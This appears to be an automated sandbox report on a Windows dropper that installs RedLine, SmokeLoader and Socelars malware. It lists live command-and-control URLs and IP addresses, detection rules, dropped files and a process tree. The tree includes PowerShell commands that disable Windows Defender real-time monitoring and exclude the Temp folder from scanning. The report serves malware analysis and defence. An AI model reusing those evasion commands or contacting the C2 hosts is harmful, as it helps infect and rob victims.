Overview
overview
10Static
static
022e3c30a1...66.exe
windows7_x64
10022e3c30a1...66.exe
windows11_x64
10022e3c30a1...66.exe
windows10_x64
104d27dca0a1...ef.exe
windows7_x64
104d27dca0a1...ef.exe
windows11_x64
104d27dca0a1...ef.exe
windows10_x64
10578a3a7a2b...b3.exe
windows7_x64
10578a3a7a2b...b3.exe
windows11_x64
10578a3a7a2b...b3.exe
windows10_x64
109c4880a98c...82.exe
windows7_x64
109c4880a98c...82.exe
windows11_x64
109c4880a98c...82.exe
windows10_x64
10a1dad4a83d...c4.exe
windows7_x64
10a1dad4a83d...c4.exe
windows11_x64
10a1dad4a83d...c4.exe
windows10_x64
10acf1b7d80f...e0.exe
windows7_x64
10acf1b7d80f...e0.exe
windows11_x64
10acf1b7d80f...e0.exe
windows10_x64
10cbf31d825a...d2.exe
windows7_x64
10cbf31d825a...d2.exe
windows11_x64
10cbf31d825a...d2.exe
windows10_x64
10db76a117db...12.exe
windows7_x64
10db76a117db...12.exe
windows11_x64
10db76a117db...12.exe
windows10_x64
10e2ffb8aeeb...f6.exe
windows7_x64
10e2ffb8aeeb...f6.exe
windows11_x64
10e2ffb8aeeb...f6.exe
windows10_x64
10f2196668f4...cb.exe
windows7_x64
10f2196668f4...cb.exe
windows11_x64
10f2196668f4...cb.exe
windows10_x64
10Resubmissions
10/11/2021, 14:50
211110-r7nbvaeddr 1008/11/2021, 16:12
211108-tnmmbahgaj 1008/11/2021, 15:26
211108-svdsbaccf6 1008/11/2021, 14:48
211108-r6lfvshdfn 10Analysis
-
max time kernel
35s -
max time network
176s -
platform
windows10_x64 -
resource
win10-en-20211014 -
submitted
10/11/2021, 14:50
Static task
static1
Behavioral task
behavioral1
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win7-en-20211014
Behavioral task
behavioral2
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win11
Behavioral task
behavioral3
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win10-en-20211014
Behavioral task
behavioral4
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win7-en-20211104
Behavioral task
behavioral5
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win11
Behavioral task
behavioral6
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win10-en-20211014
Behavioral task
behavioral7
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win7-en-20211014
Behavioral task
behavioral8
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win11
Behavioral task
behavioral9
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win10-en-20211104
Behavioral task
behavioral10
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win7-en-20211014
Behavioral task
behavioral11
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win11
Behavioral task
behavioral12
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win10-en-20211014
Behavioral task
behavioral13
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win7-en-20211104
Behavioral task
behavioral14
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win11
Behavioral task
behavioral15
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win10-en-20211014
Behavioral task
behavioral16
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win7-en-20211104
Behavioral task
behavioral17
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win11
Behavioral task
behavioral18
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win10-en-20211014
Behavioral task
behavioral19
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win7-en-20211014
Behavioral task
behavioral20
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win11
Behavioral task
behavioral21
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win10-en-20211014
Behavioral task
behavioral22
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win7-en-20211104
Behavioral task
behavioral23
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win11
Behavioral task
behavioral24
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win10-en-20211104
Behavioral task
behavioral25
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win7-en-20211014
Behavioral task
behavioral26
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win11
Behavioral task
behavioral27
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win10-en-20211104
Behavioral task
behavioral28
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win7-en-20211014
Behavioral task
behavioral29
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win11
Behavioral task
behavioral30
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win10-en-20211104
General
-
Target
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
-
Size
5.6MB
-
MD5
5802bc4fd763cd759b7875e94f9f2eaf
-
SHA1
91eaa6e6f9b5c52a2b91806bfbf513ed336e3f6a
-
SHA256
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2
-
SHA512
91f9c64c61456c91e74cad1c8a5f9aca54e44f00612085721c1b2ad8e9305679f3ed562939b0505843c06b619ab8f4818f3a537e33c122a02569cf080d13181a
Malware Config
Extracted
socelars
http://www.iyiqian.com/
http://www.hbgents.top/
http://www.rsnzhy.com/
http://www.efxety.top/
Extracted
redline
ChrisNEW
194.104.136.5:46013
Extracted
redline
media25
91.121.67.60:23325
Extracted
smokeloader
2020
http://brandyjaggers.com/upload/
http://andbal.com/upload/
http://alotofquotes.com/upload/
http://szpnc.cn/upload/
http://uggeboots.com/upload/
http://100klv.com/upload/
http://rapmusic.at/upload/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1876 4972 rundll32.exe 130 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 6 IoCs
resource yara_rule behavioral21/memory/4120-279-0x0000000000418D2E-mapping.dmp family_redline behavioral21/memory/4160-283-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral21/memory/4120-278-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral21/memory/4160-288-0x0000000000418542-mapping.dmp family_redline behavioral21/memory/4160-312-0x0000000005530000-0x0000000005B36000-memory.dmp family_redline behavioral21/memory/5212-592-0x0000000000418D2A-mapping.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 2 IoCs
resource yara_rule behavioral21/files/0x000400000001abae-183.dat family_socelars behavioral21/files/0x000400000001abae-226.dat family_socelars -
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
-
suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil
suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil
-
resource yara_rule behavioral21/files/0x000600000001ab89-127.dat aspack_v212_v242 behavioral21/files/0x000400000001ab9d-129.dat aspack_v212_v242 behavioral21/files/0x000600000001ab89-128.dat aspack_v212_v242 behavioral21/files/0x000400000001ab9d-126.dat aspack_v212_v242 behavioral21/files/0x000400000001ab9f-131.dat aspack_v212_v242 behavioral21/files/0x000400000001ab9f-134.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 20 IoCs
pid Process 648 setup_installer.exe 1996 setup_install.exe 4000 Tue01d702368dbba.exe 836 Tue0133c29150b.exe 3980 Tue01994ec7a792fea9.exe 1516 Tue01bba8b80fa4.exe 1876 Tue017abac33187.exe 3068 Tue010769fc7f9829.exe 3052 Tue0138d4026db6d813e.exe 3556 Tue0195119235.exe 3536 Tue01d702368dbba.tmp 3524 Tue018bc5c5a0a3d4.exe 3024 Tue01c451610f4a.exe 3392 Tue018f791563585c0f9.exe 2612 Tue0105f10596.exe 3228 Tue0121ab289cd9a.exe 3208 Tue01de2411919659f09.exe 1100 Tue01e8898e0d1fce4.exe 1752 Tue01bf08f313b912.exe 2840 Tue0195119235.exe -
Modifies Windows Firewall 1 TTPs
-
Loads dropped DLL 7 IoCs
pid Process 1996 setup_install.exe 1996 setup_install.exe 1996 setup_install.exe 1996 setup_install.exe 1996 setup_install.exe 1996 setup_install.exe 3536 Tue01d702368dbba.tmp -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 11 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 41 ip-api.com 88 freegeoip.app 90 freegeoip.app 104 ipinfo.io 105 ipinfo.io 281 ipinfo.io 93 freegeoip.app 96 freegeoip.app 103 ipinfo.io 268 ipinfo.io 269 ipinfo.io -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
autoit_exe 4 IoCs
AutoIT scripts compiled to PE executables.
resource yara_rule behavioral21/files/0x000400000001abaf-214.dat autoit_exe behavioral21/files/0x000400000001abaf-162.dat autoit_exe behavioral21/files/0x000500000001abb6-295.dat autoit_exe behavioral21/files/0x000500000001abb6-299.dat autoit_exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 10 IoCs
pid pid_target Process procid_target 1144 1996 WerFault.exe 69 4772 3052 WerFault.exe 90 4904 3052 WerFault.exe 90 2424 3052 WerFault.exe 90 3276 3052 WerFault.exe 90 2196 3052 WerFault.exe 90 4480 3052 WerFault.exe 90 1112 3052 WerFault.exe 90 5320 4332 WerFault.exe 121 2996 5612 WerFault.exe 165 -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4688 schtasks.exe -
Kills process with taskkill 3 IoCs
pid Process 4756 taskkill.exe 5996 taskkill.exe 5892 taskkill.exe -
Suspicious use of AdjustPrivilegeToken 38 IoCs
description pid Process Token: SeDebugPrivilege 3068 Tue010769fc7f9829.exe Token: SeCreateTokenPrivilege 1752 Tue01bf08f313b912.exe Token: SeAssignPrimaryTokenPrivilege 1752 Tue01bf08f313b912.exe Token: SeLockMemoryPrivilege 1752 Tue01bf08f313b912.exe Token: SeIncreaseQuotaPrivilege 1752 Tue01bf08f313b912.exe Token: SeMachineAccountPrivilege 1752 Tue01bf08f313b912.exe Token: SeTcbPrivilege 1752 Tue01bf08f313b912.exe Token: SeSecurityPrivilege 1752 Tue01bf08f313b912.exe Token: SeTakeOwnershipPrivilege 1752 Tue01bf08f313b912.exe Token: SeLoadDriverPrivilege 1752 Tue01bf08f313b912.exe Token: SeSystemProfilePrivilege 1752 Tue01bf08f313b912.exe Token: SeSystemtimePrivilege 1752 Tue01bf08f313b912.exe Token: SeProfSingleProcessPrivilege 1752 Tue01bf08f313b912.exe Token: SeIncBasePriorityPrivilege 1752 Tue01bf08f313b912.exe Token: SeCreatePagefilePrivilege 1752 Tue01bf08f313b912.exe Token: SeCreatePermanentPrivilege 1752 Tue01bf08f313b912.exe Token: SeBackupPrivilege 1752 Tue01bf08f313b912.exe Token: SeRestorePrivilege 1752 Tue01bf08f313b912.exe Token: SeShutdownPrivilege 1752 Tue01bf08f313b912.exe Token: SeDebugPrivilege 1752 Tue01bf08f313b912.exe Token: SeAuditPrivilege 1752 Tue01bf08f313b912.exe Token: SeSystemEnvironmentPrivilege 1752 Tue01bf08f313b912.exe Token: SeChangeNotifyPrivilege 1752 Tue01bf08f313b912.exe Token: SeRemoteShutdownPrivilege 1752 Tue01bf08f313b912.exe Token: SeUndockPrivilege 1752 Tue01bf08f313b912.exe Token: SeSyncAgentPrivilege 1752 Tue01bf08f313b912.exe Token: SeEnableDelegationPrivilege 1752 Tue01bf08f313b912.exe Token: SeManageVolumePrivilege 1752 Tue01bf08f313b912.exe Token: SeImpersonatePrivilege 1752 Tue01bf08f313b912.exe Token: SeCreateGlobalPrivilege 1752 Tue01bf08f313b912.exe Token: 31 1752 Tue01bf08f313b912.exe Token: 32 1752 Tue01bf08f313b912.exe Token: 33 1752 Tue01bf08f313b912.exe Token: 34 1752 Tue01bf08f313b912.exe Token: 35 1752 Tue01bf08f313b912.exe Token: SeDebugPrivilege 3524 Tue018bc5c5a0a3d4.exe Token: SeRestorePrivilege 1144 WerFault.exe Token: SeBackupPrivilege 1144 WerFault.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3024 Tue01c451610f4a.exe 3024 Tue01c451610f4a.exe -
Suspicious use of SendNotifyMessage 2 IoCs
pid Process 3024 Tue01c451610f4a.exe 3024 Tue01c451610f4a.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3852 wrote to memory of 648 3852 cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe 68 PID 3852 wrote to memory of 648 3852 cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe 68 PID 3852 wrote to memory of 648 3852 cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe 68 PID 648 wrote to memory of 1996 648 setup_installer.exe 69 PID 648 wrote to memory of 1996 648 setup_installer.exe 69 PID 648 wrote to memory of 1996 648 setup_installer.exe 69 PID 1996 wrote to memory of 1628 1996 setup_install.exe 72 PID 1996 wrote to memory of 1628 1996 setup_install.exe 72 PID 1996 wrote to memory of 1628 1996 setup_install.exe 72 PID 1996 wrote to memory of 2824 1996 setup_install.exe 73 PID 1996 wrote to memory of 2824 1996 setup_install.exe 73 PID 1996 wrote to memory of 2824 1996 setup_install.exe 73 PID 1996 wrote to memory of 1492 1996 setup_install.exe 74 PID 1996 wrote to memory of 1492 1996 setup_install.exe 74 PID 1996 wrote to memory of 1492 1996 setup_install.exe 74 PID 1996 wrote to memory of 2644 1996 setup_install.exe 75 PID 1996 wrote to memory of 2644 1996 setup_install.exe 75 PID 1996 wrote to memory of 2644 1996 setup_install.exe 75 PID 1996 wrote to memory of 1132 1996 setup_install.exe 110 PID 1996 wrote to memory of 1132 1996 setup_install.exe 110 PID 1996 wrote to memory of 1132 1996 setup_install.exe 110 PID 2824 wrote to memory of 604 2824 cmd.exe 76 PID 2824 wrote to memory of 604 2824 cmd.exe 76 PID 2824 wrote to memory of 604 2824 cmd.exe 76 PID 1996 wrote to memory of 184 1996 setup_install.exe 77 PID 1996 wrote to memory of 184 1996 setup_install.exe 77 PID 1996 wrote to memory of 184 1996 setup_install.exe 77 PID 1628 wrote to memory of 360 1628 cmd.exe 109 PID 1628 wrote to memory of 360 1628 cmd.exe 109 PID 1628 wrote to memory of 360 1628 cmd.exe 109 PID 1996 wrote to memory of 708 1996 setup_install.exe 108 PID 1996 wrote to memory of 708 1996 setup_install.exe 108 PID 1996 wrote to memory of 708 1996 setup_install.exe 108 PID 1996 wrote to memory of 704 1996 setup_install.exe 78 PID 1996 wrote to memory of 704 1996 setup_install.exe 78 PID 1996 wrote to memory of 704 1996 setup_install.exe 78 PID 1996 wrote to memory of 1412 1996 setup_install.exe 107 PID 1996 wrote to memory of 1412 1996 setup_install.exe 107 PID 1996 wrote to memory of 1412 1996 setup_install.exe 107 PID 1996 wrote to memory of 1124 1996 setup_install.exe 79 PID 1996 wrote to memory of 1124 1996 setup_install.exe 79 PID 1996 wrote to memory of 1124 1996 setup_install.exe 79 PID 1492 wrote to memory of 4000 1492 cmd.exe 80 PID 1492 wrote to memory of 4000 1492 cmd.exe 80 PID 1492 wrote to memory of 4000 1492 cmd.exe 80 PID 1996 wrote to memory of 868 1996 setup_install.exe 106 PID 1996 wrote to memory of 868 1996 setup_install.exe 106 PID 1996 wrote to memory of 868 1996 setup_install.exe 106 PID 2644 wrote to memory of 836 2644 cmd.exe 105 PID 2644 wrote to memory of 836 2644 cmd.exe 105 PID 2644 wrote to memory of 836 2644 cmd.exe 105 PID 1996 wrote to memory of 3516 1996 setup_install.exe 104 PID 1996 wrote to memory of 3516 1996 setup_install.exe 104 PID 1996 wrote to memory of 3516 1996 setup_install.exe 104 PID 1996 wrote to memory of 3972 1996 setup_install.exe 102 PID 1996 wrote to memory of 3972 1996 setup_install.exe 102 PID 1996 wrote to memory of 3972 1996 setup_install.exe 102 PID 1132 wrote to memory of 3980 1132 cmd.exe 101 PID 1132 wrote to memory of 3980 1132 cmd.exe 101 PID 1996 wrote to memory of 420 1996 setup_install.exe 81 PID 1996 wrote to memory of 420 1996 setup_install.exe 81 PID 1996 wrote to memory of 420 1996 setup_install.exe 81 PID 1996 wrote to memory of 1568 1996 setup_install.exe 82 PID 1996 wrote to memory of 1568 1996 setup_install.exe 82
Processes
-
C:\Users\Admin\AppData\Local\Temp\cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe"C:\Users\Admin\AppData\Local\Temp\cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3852 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:648 -
C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1996 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable4⤵
- Suspicious use of WriteProcessMemory
PID:1628 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵PID:360
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
PID:2824 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵PID:604
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue01d702368dbba.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1492 -
C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue01d702368dbba.exeTue01d702368dbba.exe5⤵
- Executes dropped EXE
PID:4000 -
C:\Users\Admin\AppData\Local\Temp\is-86AF2.tmp\Tue01d702368dbba.tmp"C:\Users\Admin\AppData\Local\Temp\is-86AF2.tmp\Tue01d702368dbba.tmp" /SL5="$70054,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue01d702368dbba.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3536 -
C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue01d702368dbba.exe"C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue01d702368dbba.exe" /SILENT7⤵PID:2944
-
C:\Users\Admin\AppData\Local\Temp\is-L7H3C.tmp\Tue01d702368dbba.tmp"C:\Users\Admin\AppData\Local\Temp\is-L7H3C.tmp\Tue01d702368dbba.tmp" /SL5="$80080,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue01d702368dbba.exe" /SILENT8⤵PID:576
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue0133c29150b.exe4⤵
- Suspicious use of WriteProcessMemory
PID:2644 -
C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue0133c29150b.exeTue0133c29150b.exe5⤵
- Executes dropped EXE
PID:836
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue018f791563585c0f9.exe4⤵PID:184
-
C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue018f791563585c0f9.exeTue018f791563585c0f9.exe5⤵
- Executes dropped EXE
PID:3392 -
C:\Users\Admin\Pictures\Adobe Films\E0K60uN_QWC8jRWQHpWXo2lJ.exe"C:\Users\Admin\Pictures\Adobe Films\E0K60uN_QWC8jRWQHpWXo2lJ.exe"6⤵PID:6100
-
-
C:\Users\Admin\Pictures\Adobe Films\uSl3BjA5SMWAEtybRn0MZHC3.exe"C:\Users\Admin\Pictures\Adobe Films\uSl3BjA5SMWAEtybRn0MZHC3.exe"6⤵PID:4544
-
-
C:\Users\Admin\Pictures\Adobe Films\fzUDfUqdcFkI61pMkyUfVgg8.exe"C:\Users\Admin\Pictures\Adobe Films\fzUDfUqdcFkI61pMkyUfVgg8.exe"6⤵PID:3128
-
-
C:\Users\Admin\Pictures\Adobe Films\8HEFdeDAeqYC2_vEfCDXxZa1.exe"C:\Users\Admin\Pictures\Adobe Films\8HEFdeDAeqYC2_vEfCDXxZa1.exe"6⤵PID:1768
-
-
C:\Users\Admin\Pictures\Adobe Films\IIwfdo6bBr7MgInnMJttTjB7.exe"C:\Users\Admin\Pictures\Adobe Films\IIwfdo6bBr7MgInnMJttTjB7.exe"6⤵PID:5328
-
C:\Users\Admin\Pictures\Adobe Films\IIwfdo6bBr7MgInnMJttTjB7.exe"C:\Users\Admin\Pictures\Adobe Films\IIwfdo6bBr7MgInnMJttTjB7.exe"7⤵PID:7016
-
-
-
C:\Users\Admin\Pictures\Adobe Films\Qe9bLkLmFFnLLsgtjtx4s6QF.exe"C:\Users\Admin\Pictures\Adobe Films\Qe9bLkLmFFnLLsgtjtx4s6QF.exe"6⤵PID:4440
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue01c451610f4a.exe4⤵PID:704
-
C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue01c451610f4a.exeTue01c451610f4a.exe5⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3024 -
C:\Users\Public\run.exeC:\Users\Public\run.exe6⤵PID:4332
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"7⤵PID:5212
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4332 -s 2647⤵
- Program crash
PID:5320
-
-
-
C:\Users\Public\run2.exeC:\Users\Public\run2.exe6⤵PID:4392
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue0138d4026db6d813e.exe /mixone4⤵PID:1124
-
C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue0138d4026db6d813e.exeTue0138d4026db6d813e.exe /mixone5⤵
- Executes dropped EXE
PID:3052 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3052 -s 6606⤵
- Program crash
PID:4772
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3052 -s 6766⤵
- Program crash
PID:4904
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3052 -s 7846⤵
- Program crash
PID:2424
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3052 -s 8246⤵
- Program crash
PID:3276
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3052 -s 8926⤵
- Program crash
PID:2196
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3052 -s 9406⤵
- Program crash
PID:4480
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3052 -s 11126⤵
- Program crash
PID:1112
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue01bba8b80fa4.exe4⤵PID:420
-
C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue01bba8b80fa4.exeTue01bba8b80fa4.exe5⤵
- Executes dropped EXE
PID:1516
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue01bf08f313b912.exe4⤵PID:1568
-
C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue01bf08f313b912.exeTue01bf08f313b912.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1752 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵PID:4552
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
PID:5996
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue0121ab289cd9a.exe4⤵PID:2492
-
C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue0121ab289cd9a.exeTue0121ab289cd9a.exe5⤵
- Executes dropped EXE
PID:3228
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue0105f10596.exe4⤵PID:2152
-
C:\Users\Admin\AppData\Local\Temp\7zS882F3E66\Tue0105f10596.exeTue0105f10596.exe5⤵
- Executes dropped EXE
PID:2612 -
C:\Users\Admin\Pictures\Adobe Films\E0K60uN_QWC8jRWQHpWXo2lJ.exe"C:\Users\Admin\Pictures\Adobe Films\E0K60uN_QWC8jRWQHpWXo2lJ.exe"6⤵PID:6052
-
-
C:\Users\Admin\Pictures\Adobe Films\fzUDfUqdcFkI61pMkyUfVgg8.exe"C:\Users\Admin\Pictures\Adobe Films\fzUDfUqdcFkI61pMkyUfVgg8.exe"6⤵PID:5556
-
-
C:\Users\Admin\Pictures\Adobe Films\8HEFdeDAeqYC2_vEfCDXxZa1.exe"C:\Users\Admin\Pictures\Adobe Films\8HEFdeDAeqYC2_vEfCDXxZa1.exe"6⤵PID:5644
-
-
C:\Users\Admin\Pictures\Adobe Films\mwI3zE9twmUmlqqsayRXt9ir.exe"C:\Users\Admin\Pictures\Adobe Films\mwI3zE9twmUmlqqsayRXt9ir.exe"6⤵PID:5612
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"7⤵PID:4528
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5612 -s 5527⤵
- Program crash
PID:2996
-
-
-
C:\Users\Admin\Pictures\Adobe Films\LkrXbr3X03IWeljLC00cyn2y.exe"C:\Users\Admin\Pictures\Adobe Films\LkrXbr3X03IWeljLC00cyn2y.exe"6⤵PID:5992
-
-
C:\Users\Admin\Pictures\Adobe Films\XXDxQwsTWCkU5wKy1h3s1cBd.exe"C:\Users\Admin\Pictures\Adobe Films\XXDxQwsTWCkU5wKy1h3s1cBd.exe"6⤵PID:4392
-
-
C:\Users\Admin\Pictures\Adobe Films\yvMDpVK2kccoOqprAlbeGKOd.exe"C:\Users\Admin\Pictures\Adobe Films\yvMDpVK2kccoOqprAlbeGKOd.exe"6⤵PID:1056
-
C:\Users\Admin\AppData\Roaming\6616095.exe"C:\Users\Admin\AppData\Roaming\6616095.exe"7⤵PID:4512
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"8⤵PID:6588
-
-
-
C:\Users\Admin\AppData\Roaming\3223301.exe"C:\Users\Admin\AppData\Roaming\3223301.exe"7⤵PID:1944
-
-
C:\Users\Admin\AppData\Roaming\3018323.exe"C:\Users\Admin\AppData\Roaming\3018323.exe"7⤵PID:6208
-
-
C:\Users\Admin\AppData\Roaming\3587259.exe"C:\Users\Admin\AppData\Roaming\3587259.exe"7⤵PID:6396
-
-
